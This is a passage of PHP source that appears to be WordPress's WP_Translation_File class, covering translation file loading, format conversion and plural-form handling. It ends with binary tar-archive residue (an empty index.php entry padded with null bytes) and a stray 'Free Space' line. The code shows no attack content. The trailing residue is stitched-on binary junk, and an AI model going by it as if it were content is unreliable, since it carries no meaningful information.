from file name. * @return false|WP_Translation_File */ public static function create( string $file, ?string $filetype = null ) { if ( ! is_readable( $file ) ) { return false; } if ( null === $filetype ) { $pos = strrpos( $file, '.' ); if ( false !== $pos ) { $filetype = substr( $file, $pos + 1 ); } } switch ( $filetype ) { case 'mo': return new WP_Translation_File_MO( $file ); case 'php': return new WP_Translation_File_PHP( $file ); default: return false; } } /** * Creates a new WP_Translation_File instance for a given file. * * @since 6.5.0 * * @param string $file Source file name. * @param string $filetype Desired target file type. * @return string|false Transformed translation file contents on success, false otherwise. */ public static function transform( string $file, string $filetype ) { $source = self::create( $file ); if ( false === $source ) { return false; } switch ( $filetype ) { case 'mo': $destination = new WP_Translation_File_MO( '' ); break; case 'php': $destination = new WP_Translation_File_PHP( '' ); break; default: return false; } $success = $destination->import( $source ); if ( ! $success ) { return false; } return $destination->export(); } /** * Returns all headers. * * @since 6.5.0 * * @return array<string, string> Headers. */ public function headers(): array { if ( ! $this->parsed ) { $this->parse_file(); } return $this->headers; } /** * Returns all entries. * * @since 6.5.0 * * @return array<string, string[]> Entries. */ public function entries(): array { if ( ! $this->parsed ) { $this->parse_file(); } return $this->entries; } /** * Returns the current error information. * * @since 6.5.0 * * @return string|null Error message or null if no error. */ public function error() { return $this->error; } /** * Returns the file name. * * @since 6.5.0 * * @return string File name. */ public function get_file(): string { return $this->file; } /** * Translates a given string. * * @since 6.5.0 * * @param string $text String to translate. * @return false|string Translation(s) on success, false otherwise. */ public function translate( string $text ) { if ( ! $this->parsed ) { $this->parse_file(); } return $this->entries[ $text ] ?? false; } /** * Returns the plural form for a given number. * * @since 6.5.0 * * @param int $number Count. * @return int Plural form. */ public function get_plural_form( int $number ): int { if ( ! $this->parsed ) { $this->parse_file(); } if ( null === $this->plural_forms && isset( $this->headers['plural-forms'] ) ) { $expression = $this->get_plural_expression_from_header( $this->headers['plural-forms'] ); $this->plural_forms = $this->make_plural_form_function( $expression ); } if ( is_callable( $this->plural_forms ) ) { /** * Plural form. * * @var int $result Plural form. */ $result = call_user_func( $this->plural_forms, $number ); return $result; } // Default plural form matches English, only "One" is considered singular. return ( 1 === $number ? 0 : 1 ); } /** * Returns the plural forms expression as a tuple. * * @since 6.5.0 * * @param string $header Plural-Forms header string. * @return string Plural forms expression. */ protected function get_plural_expression_from_header( string $header ): string { if ( preg_match( '/^\s*nplurals\s*=\s*(\d+)\s*;\s+plural\s*=\s*(.+)$/', $header, $matches ) ) { return trim( $matches[2] ); } return 'n != 1'; } /** * Makes a function, which will return the right translation index, according to the * plural forms header. * * @since 6.5.0 * * @param string $expression Plural form expression. * @return callable(int $num): int Plural forms function. */ protected function make_plural_form_function( string $expression ): callable { try { $handler = new Plural_Forms( rtrim( $expression, ';' ) ); return array( $handler, 'get' ); } catch ( Exception $e ) { // Fall back to default plural-form function. return $this->make_plural_form_function( 'n != 1' ); } } /** * Imports translations from another file. * * @since 6.5.0 * * @param WP_Translation_File $source Source file. * @return bool True on success, false otherwise. */ protected function import( WP_Translation_File $source ): bool { if ( null !== $source->error() ) { return false; } $this->headers = $source->headers(); $this->entries = $source->entries(); $this->error = $source->error(); return null === $this->error; } /** * Parses the file. * * @since 6.5.0 */ abstract protected function parse_file(); /** * Exports translation contents as a string. * * @since 6.5.0 * * @return string Translation file contents. */ abstract public function export(); } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������index.php�������������������������������������������������������������������������������������������0000644�����������������00000000000�14747511002�0006353 0����������������������������������������������������������������������������������������������������ustar�00�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
Free Space : 29878853632 Byte